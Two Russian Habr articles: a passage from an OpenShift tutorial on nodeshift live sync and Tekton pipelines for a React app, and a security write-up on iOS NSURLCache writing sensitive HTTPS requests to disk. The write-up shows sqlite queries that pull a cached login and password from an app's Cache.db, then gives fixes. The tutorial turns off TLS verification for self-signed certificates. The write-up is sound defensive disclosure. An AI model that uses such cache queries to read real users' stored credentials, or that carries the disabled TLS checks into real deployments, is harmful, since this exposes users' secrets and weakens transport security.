Конечно, это все будет ни о чем до тех пор, пока мы не сможем синхронизировать локальный код с кодом, который тоже контролируется на предмет изменений, но живет на удаленном сервере.
#### Синхронизация удаленного и локального кода
К счастью, с синхронизацией легко поможет nodeshift, а для отслеживания изменений можно воспользоваться командой watch.
Так что после того, как мы выполнили команду для развертывания сервера разработки для нашего приложения, мы можем смело использовать вот такую команду:
```
$ npx nodeshift watch
```
В результате будет проведено подключение к запущенному pod’у, который мы создали чуть ранее, активируется синхронизация наших локальных файлов с удаленным кластером, а файлы на нашей локальной системе начнут отслеживаться на предмет изменений.
Поэтому, если теперь обновить файл src/App.js, то система среагирует на эти изменения, скопирует их на удаленный кластер и запустить сервер разработки, который затем обновит наше приложение в браузере.
Для полноты картины покажем, как выглядят эти команды целиком:
```
$ npx nodeshift --strictSSL=false --dockerImage=nodeshift/ubi8-s2i-web-app --build.env YARN_ENABLED=true --expose --deploy.env NPM_RUN="yarn start" --deploy.port 3000
$ npx nodeshift watch --strictSSL=false
```
Команда watch – это абстракция поверх команды oc rsync, подробнее узнать о том, как это работает можно [здесь](https://docs.okd.io/latest/dev_guide/copy_files_to_container.html).
Это был пример для React, но точно такой же метод можно использовать и с другими фреймворками, просто пропишите нужным образом переменную окружения NPM\_RUN.
### Конвейеры Openshift Pipelines
Дальше мы поговорим про такой инструмент, как OpenShift Pipelines, и о том, как его можно использовать в качестве альтернативы связанным сборкам chained build.
#### Что такое OpenShift Pipelines
OpenShift Pipelines – это облачно-ориентированная CI/CD-система непрерывной интеграции и доставки, предназначенная для организации конвейеров с использованием Tekton. Tekton – это гибкий Kubernetes-нативный CI/CD-фреймворк с открытым кодом, позволяющий автоматизировать развертывание на различных платформах (Kubernetes, serverless, виртуальные машины и т.д.) за счет абстрагирования от нижележащего уровня.
Для понимания этой статьи нужны определенные знания по Pipelines, поэтому мы настоятельно советуем вначале ознакомиться с [официальным учебником](https://github.com/openshift/pipelines-tutorial).
#### Настройка рабочей среды
Чтобы поиграться с примерами из этой статьи, сначала надо подготовить рабочую среду:
1. Установить и настроить кластер OpenShift 4. В наших примерах для этого используются CodeReady Containers (CRD), инструкции по установке которого можно найти [здесь](https://cloud.redhat.com/openshift/install/crc/installer-provisioned).
2. После того, как кластер будет готов, на него надо установить Pipeline Operator. Не бойтесь, это легко, инструкции по установке [здесь](https://github.com/openshift/pipelines-tutorial/blob/master/install-operator.md).
3. Загрузить [Tekton CLI](https://github.com/tektoncd/cli#installing-tkn) (tkn) [здесь](https://github.com/tektoncd/cli#installing-tkn).
4. Запустить инструмент командной строки create-react-app, чтобы создать приложение, которое потом будет развертываться (это простое приложение [React](https://github.com/nodeshift-starters/react-pipeline-example)).
5. (Опционально) Клонировать репозиторий, чтобы локально запускать пример приложения командой npm install и затем npm start.
В репозитории приложения также будет папка k8s, где будут лежать YAML’ы Kubernetes/OpenShift, используемые для развертывания приложения. Там будут Tasks, ClusterTasks, Resources и Pipelines, которые мы создадим в этом [репозитории](https://github.com/nodeshift/webapp-pipeline-tutorial).
#### Приступаем
Первым делом для нашего примера надо создать новый проект в кластере OpenShift. Назовем этот проект webapp-pipeline и создадим его следующей командой:
```
$ oc new-project webapp-pipeline
```
Дальше это имя проекта будет фигурирует в коде, так что, если решите назвать его как-то иначе, не забывайте соответствующим образом править код из примеров. Начиная с этого места, мы пойдем не сверху-вниз, а снизу-вверх: то есть, вначале создадим все составляющие конвейера, и лишь затем его самого.
Итак, первым делом…
#### Задачи Tasks
Создадим пару задач (tasks), которые затем помогут развертывать приложение в рамках нашего конвейера pipeline. Первая задача – apply\_manifests\_task – отвечает за применение YAML тех Kubernetes-ресурсов (service, deployment и route), которые находятся в папке k8s нашего приложения. Вторая задача – update\_deployment\_task – отвечает за обновление уже развернутого образа на тот, который создается нашим конвейером.
Не переживайте, если пока не очень понятно. На самом деле, эти задачи – что-то вроде утилит, и мы подробнее разберем их чуть позже. А пока что просто создадим их:
```
$ oc create -f https://raw.githubusercontent.com/nodeshift/webapp-pipeline-tutorial/master/tasks/update_deployment_task.yaml
$ oc create -f https://raw.githubusercontent.com/nodeshift/webapp-pipeline-tutorial/master/tasks/apply_manifests_task.yaml
```
Затем с помощью команды tkn CLI проверим, что задачи создались:
```
$ tkn task ls
NAME AGE
apply-manifests 1 minute ago
update-deployment 1 minute ago
```
*Примечание: это локальные задачи вашего текущего проекта.*
#### Кластерные задачи Cluster tasks
Кластерные задачи – это в общем-то то же самое, что и просто задачи. То есть, это повторно используемая коллекция шагов, которые комбинируются тем или и иным образом при запуске конкретной задачи. Отличие в том, что кластерная задача доступна везде в пределах кластера. Чтобы увидеть список кластерных задач, которые автоматически создаются при добавлении Pipeline Operator, опять воспользуемся командой tkn CLI:
```
$ tkn clustertask ls
NAME AGE
buildah 1 day ago
buildah-v0-10-0 1 day ago
jib-maven 1 day ago
kn 1 day ago
maven 1 day ago
openshift-client 1 day ago
openshift-client-v0-10-0 1 day ago
s2i 1 day ago
s2i-go 1 day ago
s2i-go-v0-10-0 1 day ago
s2i-java-11 1 day ago
s2i-java-11-v0-10-0 1 day ago
s2i-java-8 1 day ago
s2i-java-8-v0-10-0 1 day ago
s2i-nodejs 1 day ago
s2i-nodejs-v0-10-0 1 day ago
s2i-perl 1 day ago
s2i-perl-v0-10-0 1 day ago
s2i-php 1 day ago
s2i-php-v0-10-0 1 day ago
s2i-python-3 1 day ago
s2i-python-3-v0-10-0 1 day ago
s2i-ruby 1 day ago
s2i-ruby-v0-10-0 1 day ago
s2i-v0-10-0 1 day ago
```
А теперь создадим две кластерные задачи. Первая будет генерировать образ S2I и отправлять его во внутренний реестр OpenShift; вторая – выполнять сборку нашего образа на базе NGINX, используя в качестве содержимого уже собранное нами приложение.
#### Создаем и отправляем образ
При создании первой задачи мы повторим то, что уже делали в предыдущей статье про связанные сборки. Напомним, что мы использовали образ S2I (ubi8-s2i-web-app), чтобы «собрать» наше приложение, и в итоге получали образ, хранящийся во внутреннем реестре OpenShift. Теперь мы будем используем этот S2I-образ веб-приложения, чтобы создать DockerFile для нашего приложения, а затем задействуем Buildah, чтобы провести реальную сборку и отправить полученный образ во внутренний реестр OpenShift, поскольку это именно то, что OpenShift делает, когда вы развертываете свои приложения с помощью NodeShift.
Спрашиваете, откуда мы все это узнали? Из [официальной версии official Node.js](https://github.com/openshift/pipelines-catalog/blob/master/s2i-nodejs/s2i-nodejs-task.yaml), мы просто скопировали ее и допилил под себя.
Так, а теперь создаем кластерную задачу s2i-web-app:
```
$ oc create -f https://raw.githubusercontent.com/nodeshift/webapp-pipeline-tutorial/master/clustertasks/s2i-web-app-task.yaml
```
Мы не будем подробно разбирать это, а лишь остановимся на параметре OUTPUT\_DIR:
```
params:
- name: OUTPUT_DIR
description: The location of the build output directory
default: build
```
По умолчанию этот параметр равен build, именно туда React складывает собранный контент. В других фреймворках используются другие пути, например, в Ember это dist. Вывод нашей первой кластерной задачи будет представлять собой образ, содержащий собранные нами HTML, JavaScript и CSS.
#### Собираем образ на базе NGINX
Что касается нашей второй кластерной задачи, то она должна собирать нам образ на основе NGINX, используя контент уже собранного нами приложения. По сути, эта та часть предыдущего раздела, где мы рассматривали связанные сборки chained builds.
Для этого мы – точно так же, как чуть выше – создадим кластерную задачу webapp-build-runtime:
```
$ oc create -f https://raw.githubusercontent.com/nodeshift/webapp-pipeline-tutorial/master/clustertasks/webapp-build-runtime-task.yaml
```
Если посмотреть код этих кластерных задач, то видно, что там не конкретизируется репозиторий Git, с которым мы работаем, или имена образов, которые мы создаем. Мы только задаем, что именно мы передаем в Git, или некий образ, куда надо вывести итоговый образ. Именно поэтому эти кластерные задачи можно повторно использовать и при работе с другими приложениями.
И тут мы изящно переходим к следующему пункту…
#### Ресурсы
Итак, поскольку, как мы только что сказали, кластерные задачи должны быть максимально обобщенными, нам надо создать ресурсы, которые будут использоваться на входе (репозиторий Git) и на выходе (итоговый образы). Первый ресурс, который нам нужен –это Git, где находится наше приложение, что-то вроде такого:
```
# This resource is the location of the git repo with the web application source
apiVersion: tekton.dev/v1alpha1
kind: PipelineResource
metadata:
name: web-application-repo
spec:
type: git
params:
- name: url
value: https://github.com/nodeshift-starters/react-pipeline-example
- name: revision
value: master
```
Здесь PipelineResource имеет тип git. Ключ url в секции params указывает на конкретный репозиторий и задает ветку master (это опционально, но пишем ее для полноты).
Теперь нам надо создать ресурс для образа, куда будут сохраняться результаты выполнения задачи s2i-web-app task, это делается так:
```
# This resource is the result of running "npm run build", the resulting built files will be located in /opt/app-root/output
apiVersion: tekton.dev/v1alpha1
kind: PipelineResource
metadata:
name: built-web-application-image
spec:
type: image
params:
- name: url
value: image-registry.openshift-image-registry.svc:5000/webapp-pipeline/built-web-application:latest
```
Здесь PipelineResource имеет тип image, а значение параметра url pуказывает на внутренний OpenShift Image Registry, конкретно на тот, что находится в пространстве имен webapp-pipeline. Не забудьте поменять этот параметр, если используете другое пространство имен.
И, наконец, последний ресурс, который нам понадобится, тоже будет иметь тип image и это будет итоговый образ NGINX, который затем будет использоваться при развертывании:
```
# This resource is the image that will be just the static html, css, js files being run with nginx
apiVersion: tekton.dev/v1alpha1
kind: PipelineResource
metadata:
name: runtime-web-application-image
spec:
type: image
params:
- name: url
value: image-registry.openshift-image-registry.svc:5000/webapp-pipeline/runtime-web-application:latest
```
И снова обратите внимание, что этот ресурс сохраняет образ во внутреннем реестре OpenShift в пространстве имен webapp-pipeline.
Чтобы разом создать все эти ресурсы, воспользуемся командой create:
```
$ oc create -f https://raw.githubusercontent.com/nodeshift/webapp-pipeline-tutorial/master/resources/resource.yaml
```
Убедиться, что ресурсы создались, можно так:
```
$ tkn resource ls
```
#### Конвейер pipeline
Теперь, когда у нас есть все необходимые составляющие, соберем из них конвейер, создав его следующей командой:
```
$ oc create -f https://raw.githubusercontent.com/nodeshift/webapp-pipeline-tutorial/master/pipelines/build-and-deploy-react.yaml
```
Но, прежде чем запускать эту команду, давайте разберем эти составляющие. Первый– это имя:
```
apiVersion: tekton.dev/v1alpha1
kind: Pipeline
metadata:
name: build-and-deploy-react
```
Затем в секции spec мы видим указание ресурсов, которые мы создали ранее:
```
spec:
resources:
- name: web-application-repo
type: git
- name: built-web-application-image
type: image
- name: runtime-web-application-image
type: image
```
Затем мы создаем задачи, которые должен выполнить наш конвейер. Первым делом он должен выполнить уже созданную нами задачу s2i-web-app:
```
tasks:
- name: build-web-application
taskRef:
name: s2i-web-app
kind: ClusterTask
```
Эта задача берет входные (gir-ресурс) и выходные (ресурс built-web-application-image) параметры. Мы также передаем ей специальный параметр, чтобы она не верифицировала TLS, поскольку мы используем самоподписанные сертификаты:
```
resources:
inputs:
- name: source
resource: web-application-repo
outputs:
- name: image
resource: built-web-application-image
params:
- name: TLSVERIFY
value: "false"
```
Следующая задача почти такая же, только здесь вызывается уже созданная нами кластерная задача webapp-build-runtime:
```
name: build-runtime-image
taskRef:
name: webapp-build-runtime
kind: ClusterTask
```
Как и с предыдущей задачей, мы передаем ресурс, но теперь это built-web-application-image (вывод нашей предыдущей задачи). И в качестве вывода мы опять задаем образ. Поскольку эта задач должна выполняться после предыдущей, то добавляем поле runAfter:
```
resources:
inputs:
- name: image
resource: built-web-application-image
outputs:
- name: image
resource: runtime-web-application-image
params:
- name: TLSVERIFY
value: "false"
runAfter:
- build-web-application
```
Следующие две задачи отвечают за применение YAML-файлов сервиса, маршрута и деплоймента, которые живут в каталоге k8s нашего веб приложения, а также за то, чтобы обновлять этот деплоймент при создании новых образов. Эти две кластерные задачи мы задали еще в начале статьи.
#### Запуск конвейера
Итак, все части нашего конвейера созданы, и мы запустим его следующей командой:
```
$ tkn pipeline start build-and-deploy-react
```
На этом этапе командная строка используется в интерактивном режиме и надо выбирать соответствующие ресурсы в ответ на каждый её запрос: для ресурса git выбираем web-application-repo, затем для ресурса первого образа – built-web-application-image, и, наконец, для ресурса второго образа –runtime-web-application-image:
```
? Choose the git resource to use for web-application-repo: web-application-repo (https://github.com/nodeshift-starters/react-pipeline-example)
? Choose the image resource to use for built-web-application-image: built-web-application-image (image-registry.openshift-image-registry.svc:5000/webapp-pipeline/built-web-
application:latest)
? Choose the image resource to use for runtime-web-application-image: runtime-web-application-image (image-registry.openshift-image-registry.svc:5000/webapp-pipeline/runtim
e-web-application:latest)
Pipelinerun started: build-and-deploy-react-run-4xwsr
```
Теперь проверим статус конвейера с помощью следующей команды:
```
$ tkn pipeline logs -f
```
После того, как конвейер запустится и приложение будет развернуто, запросим опубликованный маршрут следующей командой:
```
$ oc get route react-pipeline-example --template='http://{{.spec.host}}'
```
Для большей визуальности можно посмотреть наш конвейер в Developer-режиме веб-консоли в разделе **Pipelines**, как показано на Рис. 1.
*Рис.1. Обзор запущенных конвейеров.*
Щелчок по запущенному конвейеру отображает дополнительные сведения, как показано на Рис.2.
*Рис. 2. Дополнительные сведения о конвейере.*
После дополнительных сведений можно посмотреть запущенные приложения в представлении **Topology**, как показано на Рис.3.
*Рис 3. Запущенный pod.*
Щелчок по кружочку в правом верхнем углу значка открывает наше приложение, как показано на Рис.4.
*Рис. 4. Запущенное приложение React.*
### Заключение
Итак, мы показали, как запустить на OpenShift сервер разработки для своего приложения и синхронизировать его с локальной файловой системой. Также мы рассмотрели, как сымитировать chained-build template с помощью OpenShift Pipelines. Все коды примеров из этой статьи можно найти [здесь](https://github.com/nodeshift/webapp-pipeline-tutorial).
### Дополнительные ресурсы (EN)
* Бесплатная электронная книга [«Разработка на OpenShift: руководство для нетерпеливых»](https://developers.redhat.com/books/deploying-openshift/)
* [Сборка контейнерно-ориентированных приложений Node.js с использованием Red Hat OpenShift Application Runtimes и Istio](https://developers.redhat.com/blog/2018/06/11/container-native-nodejs-istio-rhoar/)
* [Отладка приложений Node.js на OpenShift с помощью Chrome DevTools](https://developers.redhat.com/blog/2018/05/15/debug-your-node-js-application-on-openshift-with-chrome-devtools/)
* [Три команды, чтобы с нуля освоить Express на OpenShift](https://developers.redhat.com/blog/2018/04/16/zero-express-openshift-3-commands/)
* [Анонс общедоступной версии Node.js в составе Red Hat OpenShift Application Runtimes](https://developers.redhat.com/blog/2018/03/12/rhoar-nodejs-annoucement/)
* [Мониторинг приложений Node.js на OpenShift с помощью Prometheus](https://developers.redhat.com/blog/2018/12/21/monitoring-node-js-applications-on-openshift-with-prometheus/)
* Другие статьи по [OpenShift и Kubernetes](https://developers.redhat.com/topics/kubernetes/) на сайте Red Hat
### Анонсы предстоящих вебинаров
Мы начинаем серию пятничных вебинаров про нативный опыт использования Red Hat OpenShift Container Platform и Kubernetes:
* [**28 августа, вебинар Император “Оператор”: Операторы в OpenShift и Kubernetes**](https://events.redhat.com/profile/form/index.cfm?PKformID=0x232599abcd&sc_cid=7013a000002gwqQAAQ)
* [**11 сентября, DeploymentConfig vs Deployment – OpenShift-специфичные волшебные вещи для сборки и развертывания приложений**](https://events.redhat.com/profile/form/index.cfm?PKformID=0x232694abcd&sc_cid=7013a000002gwrdAAA)
* [**25 сентября, Red Hat OpenShift и Machine API**](https://events.redhat.com/profile/form/index.cfm?PKformID=0x232789abcd&sc_cid=7013a000002gws7AAA)
* [**9 октября, Как справиться с внезапным ростом нагрузки**](https://events.redhat.com/profile/form/index.cfm?PKformID=0x232884abcd&sc_cid=7013a000002gwsqAAA)
* [**23 октября, Встроенный Jenkins, Pipeline-builds, Tekton в Red Hat OpenShift Container Platform**](https://events.redhat.com/profile/form/index.cfm?PKformID=0x232979abcd&sc_cid=7013a000002gwumAAA) | https://habr.com/ru/post/515988/ | null | ru | null |
# Утечка конфиденциальных данных при кешировании сетевых запросов на платформе iOS
Критичным аспектом в контексте информационной защищенности пользовательских данных является конфиденциальность передаваемых данных в процессе взаимодействия защищаемого приложения с веб-сервисами. Например, утрата конфиденциальности в приложениях, манипулирующих номером банковской карты и кодом аутентификации CVV2/CVC2, представляется уязвимостью критичной степени важности. Одной из распространенных ошибок при разработке защищенных приложений для мобильной платформы iOS, приводящих к частичной или полной утрате конфиденциальности передаваемых данных, является чрезмерное кэширование межсетевых запросов.
В контексте разработки приложений для мобильных платформ кэширование межсетевых запросов можно отнести к категории рекомендуемых и наиболее часто используемых практик, поскольку оно позволяет разработчикам значительно улучшить производительность приложения. Наборы средств разработки для современных мобильных платформ обычно включают в себя пакеты, автоматизирующие процесс обработки и кэширования межсетевых запросов, в частности HTTP-запросов.
Подобно кэшированию запросов динамической памяти или условных переходов в микропроцессорах, интерфейсы классов, кэширующих HTTP-запросы, являются прозрачными для разработчика и осуществляют кэширование на фоне. Продолжая аналогию с функциональным блоком кэширования в процессоре, можно отметить, что отсутствие представлений о внутреннем устройстве механизма кэширования зачастую приводит к грубым ошибкам программирования. В контексте мобильных приложений, неправильное использование кэша HTTP-запросов приводит к падению производительности приложения и частичной либо полной утрате конфиденциальности. Примером распространенной ошибки, приводящей к падению производительности, является повторное кэширование запросов приложением (Double caching).
### Испытание боем
Рассмотрим пример неправильного использования кэша межсетевых запросов. В результате исследования Приложения В в контексте анализа защищенности было установлено, что приложением кэшируются HTTP-запросы, осуществляемые в рамках взаимодействия с основным веб-сервисом. Межсетевые запросы сохраняются в локальной базе данных SQLite в домашней директории приложения по относительному адресу Library/Caches//Cache.db. Схема базы данных приводится ниже.
**Схема базы данных**
```
CREATE TABLE cfurl_cache_schema_version(schema_version INTEGER);
CREATE TABLE cfurl_cache_response(entry_ID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, version INTEGER, hash_value INTEGER, storage_policy INTEGER, request_key TEXT UNIQUE, time_stamp NOT NULL DEFAULT CURRENT_TIMESTAMP);
CREATE TABLE cfurl_cache_blob_data(entry_ID INTEGER PRIMARY KEY, response_object BLOB, request_object BLOB, proto_props BLOB, user_info BLOB);
CREATE TABLE cfurl_cache_receiver_data(entry_ID INTEGER PRIMARY KEY, receiver_data BLOB);
CREATE INDEX request_key_index ON cfurl_cache_response(request_key);
CREATE INDEX time_stamp_index ON cfurl_cache_response(time_stamp);
CREATE INDEX proto_props_index ON cfurl_cache_blob_data(entry_ID);
CREATE INDEX receiver_data_index ON cfurl_cache_receiver_data(entry_ID);
```
Столбец request\_key таблицы cfurl\_cache\_response базы данных хранит идентификаторы сетевых ресурсов (Uniform Resource Identifier, URI), доступ к которым был запрошен приложением, включая запросы по протоколу HTTPS. Такие запросы могут включать в себя конфиденциальные данные пользователя, в том числе аутентификационные данные пользователя. Так, например, приложение В использует квази-RESTful интерфейс для взаимодействия с веб-сервисом и осуществляет GET-запрос для авторизации пользователя.
```
sqlite> select request_key from cfurl_cache_response;
...
https://example.com/api/1.0/auth?login=Selma_Nagel&password=qwerty
...
```
Столбец receiver\_data таблицы cfurl\_cache\_receiver\_data базы данных хранит ответы сервера, которые были получены приложением, включая запросы по протоколу HTTPS. Так, в приложении В используется веб-форма оплаты услуг с использованием банковской карты.
```
sqlite> select receiver_data from cfurl_cache_receiver_data;
...
...
```
Таким образом, конфиденциальные данные пользователя хранятся на запоминающем устройстве мобильного устройства в незашифрованном виде. Векторов атаки на уязвимое приложение может быть несколько: от вирусного ПО, исполняющегося на стационарном ПК пользователя, до вредоносных приложений, нацеленных на jailbroken-устройствах. Подробнее об этом, а также о типичных ошибках хранения конфиденциальных данных Вы можете прочитать в нашей [предыдущей статье](http://habrahabr.ru/company/jetinfosystems/blog/218007/).
### Как такое стало возможно?
За кэширование межсетевых запросов в рамках мобильного приложения, осуществляемых объектами класса NSURLConnection, отвечает объект класса NSURLCache, доступный через метод +sharedURLCache. Объекты класса NSURLCache содержат два параметра, регулирующих объем контейнера в динамической памяти (In-Memory Cache) и на запоминающем устройстве (On-Disk Cache). Подробнее о классе NSURLCache можно почитать в [официальной документации](https://developer.apple.com/library/ios/documentation/Cocoa/Reference/Foundation/Classes/NSURLCache_Class/Reference/Reference.html).
На операционных системах iOS v4.x и ниже кэширование межсетевых запросов на запоминающем устройстве не производилось, а параметр класса diskCapacity игнорировался. Начиная с iOS версий 5 и выше, приложение по умолчанию создает кэш HTTP-запросов на жестком диске мобильного устройства, ограниченный емкостью в 20 Мб. А начиная с 6-й версии iOS, реализована поддержка кэширования запросов по протоколу HTTPS.
Представляется целесообразным упомянуть, что уязвимости подвержены все мобильные приложения для платформы iOS, явным или неявным образом осуществляющие межсетевые запросы с помощью NSURLConnection. В частности, классы межсетевых запросов популярной библиотеки AFNetworking представляют собой обертки над NSURLConnection. Таким образом, мобильные приложения, использующие AFNetworking, также являются потенциально уязвимыми.
### Как защитить приложение?
Наиболее простой метод защиты от кэширования запросов, включающих конфиденциальную информацию — установить значение diskCapacity объекта sharedURLCache равным 0.
```
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
...
[[NSURLCache sharedURLCache] setDiskCapacity:0];
...
}
```
С использование делегатов это можно сделать так.
```
- (NSCachedURLResponse *)connection:(NSURLConnection *)connection
willCacheResponse:(NSCachedURLResponse *)cachedResponse
{
/* Implement cacheing logic here. */
return nil; // HACK: just do not cache
}
```
### Тонкая настройка с Cache-Control
Решения, указанные выше, вряд ли кто-нибудь назовет изящными (скорее наоборот). Они подойдут для быстрого исправления логики приложения, однако для более тонкой настройки взаимодействия клиентского приложения с веб-сервисом мы можем прибегнуть с изменениям политики кэширования запросов на серверной стороне. Политика кэширования устанавливается в HTTP-заголовке Cache-Control ([RFC 2616](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9)).
Для демонстрации поведения NSURLCache в зависимости от политики кэширования веб-ресурсов мы собрали простое приложение для мобильной платформы iOS. Был использован пакет iOS SDK v7.0, а приложение было запущено на симуляторе устройства.
**Рис. 1. Работа тестового приложения**
Результаты нашего маленького исследования в приводятся в таблице 1. Обратите внимание на то, что вопреки распространенному мнению, приложением кэшируются межсетевые запросы даже без установленного значения заголовка Cache-Control.
| Ресурс | Cache-Control | Кэшируется |
| --- | --- | --- |
| /htbin/mr | must-revalidate | Да |
| /htbin/nocache | no-cache | Да |
| /htbin/nostore | no-store | **Нет** |
| /htbin/private | private | Да |
| /htbin/public | public | Да |
| /htbin/woheader | Не указан | Да |
| /htbin/implicit | max-age=604800 | Да |
**Табл. 1. Кэширование запросов на диске в зависимости от Cache-Control**
Таким образом, наиболее разумным решением, направленным на устранение выявленной уязвимости представляется установка значения Cache-Control равным no-store для запросов, содержащих конфиденциальную информацию. Учитывая семантику значения no-store, можно с уверенностью утверждать, что большая часть клиентских приложений не будут кэшировать такие запросы.
**RFC 2616, пункт 14.9.2****14.9.2 What May be Stored by Caches**
*no-store*
The purpose of the no-store directive is to prevent the inadvertent release or retention of sensitive information (for example, on backup tapes). The no-store directive applies to the entire message, and MAY be sent either in a response or in a request. If sent in a request, a cache MUST NOT store any part of either this request or any response to it. If sent in a response, a cache MUST NOT store any part of either this response or the request that elicited it. This directive applies to both non- shared and shared caches. «MUST NOT store» in this context means that the cache MUST NOT intentionally store the information in non-volatile storage, and MUST make a best-effort attempt to remove the information from volatile storage as promptly as possible after forwarding it.
Even when this directive is associated with a response, users might explicitly store such a response outside of the caching system (e.g., with a «Save As» dialog). History buffers MAY store such responses as part of their normal operation.
The purpose of this directive is to meet the stated requirements of certain users and service authors who are concerned about accidental releases of information via unanticipated accesses to cache data structures. While the use of this directive might improve privacy in some cases, we caution that it is NOT in any way a reliable or sufficient mechanism for ensuring privacy. In particular, malicious or compromised caches might not recognize or obey this directive, and communications networks might be vulnerable to eavesdropping.
### Заключение
В данной статье было показано, что начиная с версии 5 операционной системы iOS при использовании класса NSURLConnection с параметрами по умолчанию разрешено кеширование веб-запросов на диске. В частности, в дисковом кеше могут оказаться конфиденциальные данные, такие как логины, пароли, номера кредитных карт и т. п. Другими словами, конфиденциальные данные сохраняются на диске без ведома приложения или пользователя. Потенциально уязвимыми оказываются практически все приложения, взаимодействующие по сети и передающие конфиденциальные данные.
Вредоносные приложения, работающие на персональных компьютерах, могут извлечь данные из дискового кеша при подключении устройства, работающего под управлением iOS, к персональному компьютеру. Это может быть троянская программа на компьютере жертвы, либо специальная программа на компьютере злоумышленника, при условии что последний получит на небольшое время физический доступ к устройству.
На уровне приложения данная потенциальная уязвимость закрывается с помощью явного запрета локального кеширования при создании NSURLConnection. На уровне сервера данная потенциальная уязвимость должна закрываться указанием на запрет кеширования в HTTP-заголовках ответов сервера для всех запросов, содержащих конфиденциальные данные. | https://habr.com/ru/post/219615/ | null | ru | null |